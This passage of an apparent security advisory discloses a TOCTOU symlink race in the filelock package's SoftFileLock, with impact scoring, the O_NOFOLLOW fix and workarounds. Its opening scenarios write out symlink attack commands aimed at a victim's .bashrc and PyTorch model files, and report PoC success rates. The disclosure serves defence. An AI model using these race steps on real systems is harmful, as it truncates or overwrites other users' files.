1. Tight loop: Running attack in a loop hits the race window within 1-3 attempts 2. CPU scheduling: Modern OS thread schedulers frequently context-switch during I/O operations 3. No synchronization: No atomic file creation prevents the race 4. Symlink speed: Creating symlinks is extremely fast (metadata-only operation)
Real-World Attack Scenarios
Scenario 1: virtualenv Exploitation
python Victim runs: python -m venv /tmp/myenv Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")
Result: /home/victim/.bashrc overwritten with: home = /usr/bin/python3 include-system-site-packages = false version = 3.11.2 ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
Scenario 2: PyTorch Cache Poisoning
python Victim runs: import torch PyTorch checks CPU capabilities, uses filelock on cache Attacker racing to create: os.symlink("/home/victim/.torch/compiledmodel.pt", "/home/victim/.cache/torch/cpuisacheck.lock")
Result: Trained ML model checkpoint truncated to 0 bytes Impact: Weeks of training lost, ML pipeline DoS
Why Standard Defenses Don't Help
File permissions don't prevent this:
- Attacker doesn't need write access to victimfile - os.open() with OTRUNC follows symlinks using the victim's permissions - The victim process truncates its own file
Directory permissions help but aren't always feasible:
- Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories
File locking doesn't prevent this:
- The truncation happens during the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks
Exploitation Proof-of-Concept Results
From empirical testing with the provided PoCs:
Simple Direct Attack (filelocksimplepoc.py):
- Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms
virtualenv Attack (weaponizedvirtualenv.py):
- Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents
PyTorch Attack (weaponizedpytorch.py):
- Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining
Discovered and reported by: George Tsigourakos (@tsigouris007)
Vulnerability Summary
Title: Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock
Affected Component: filelock package - SoftFileLock class File: src/filelock/soft.py lines 17-27 CWE: CWE-362, CWE-367, CWE-59
---
Description
A TOCTOU race condition vulnerability exists in the SoftFileLock implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly.
The vulnerability occurs in the acquire() method between raiseonnotwritablefile() (permission check) and os.open() (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service.
Attack Scenario
1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails
---
Impact
What kind of vulnerability is it? Who is impacted?
This is a Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability affecting any application using SoftFileLock for inter-process synchronization.
Affected Users: - Applications using filelock.SoftFileLock directly - Applications using the fallback FileLock on systems without fcntl support (e.g., GraalPy)
Consequences: - Silent lock acquisition failure - applications may not detect that exclusive resource access is not guaranteed - Denial of Service - attacker can prevent lock file creation by maintaining symlink - Resource serialization failures - multiple processes may acquire "locks" simultaneously - Unintended file operations - lock could operate on attacker-controlled files
CVSS v4.0 Score: 5.6 (Medium) Vector: CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N
Attack Requirements: - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window
---
Patches
Has the problem been patched? What versions should users upgrade to?
Yes, the vulnerability has been patched by adding the ONOFOLLOW flag to prevent symlink following during lock file creation.
Patched Version: Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0)
Mitigation Details: - The ONOFOLLOW flag is added conditionally and gracefully degrades on platforms without support - On platforms with ONOFOLLOW support (most modern systems): symlink attacks are completely prevented - On platforms without ONOFOLLOW (e.g., GraalPy): TOCTOU window remains but is documented
Users should: - Upgrade to the patched version when available - For critical deployments, consider using UnixFileLock or WindowsFileLock instead of the fallback SoftFileLock
---
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
For users unable to update immediately:
1. Avoid SoftFileLock in security-sensitive contexts - use UnixFileLock or WindowsFileLock when available (these were already patched for CVE-2025-68146)
2. Restrict filesystem permissions - prevent untrusted users from creating symlinks in lock file directories: bash chmod 700 /path/to/lock/directory
3. Use process isolation - isolate untrusted code from lock file paths to prevent symlink creation
4. Monitor lock operations - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations
---
References
Are there any links users can visit to find out more?
- Similar Vulnerability: CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - CWE-362 (Concurrent Execution using Shared Resource): https://cwe.mitre.org/data/definitions/362.html - CWE-367 (Time-of-check Time-of-use Race Condition): https://cwe.mitre.org/data/definitions/367.html - CWE-59 (Improper Link Resolution Before File Access): https://cwe.mitre.org/data/definitions/59.html - ONOFOLLOW documentation: https://man7.org/linux/man-pages/man2/open.2.html - GitHub Repository: https://github.com/tox-dev/filelock
---
Reported by: George Tsigourakos (@tsigouris007)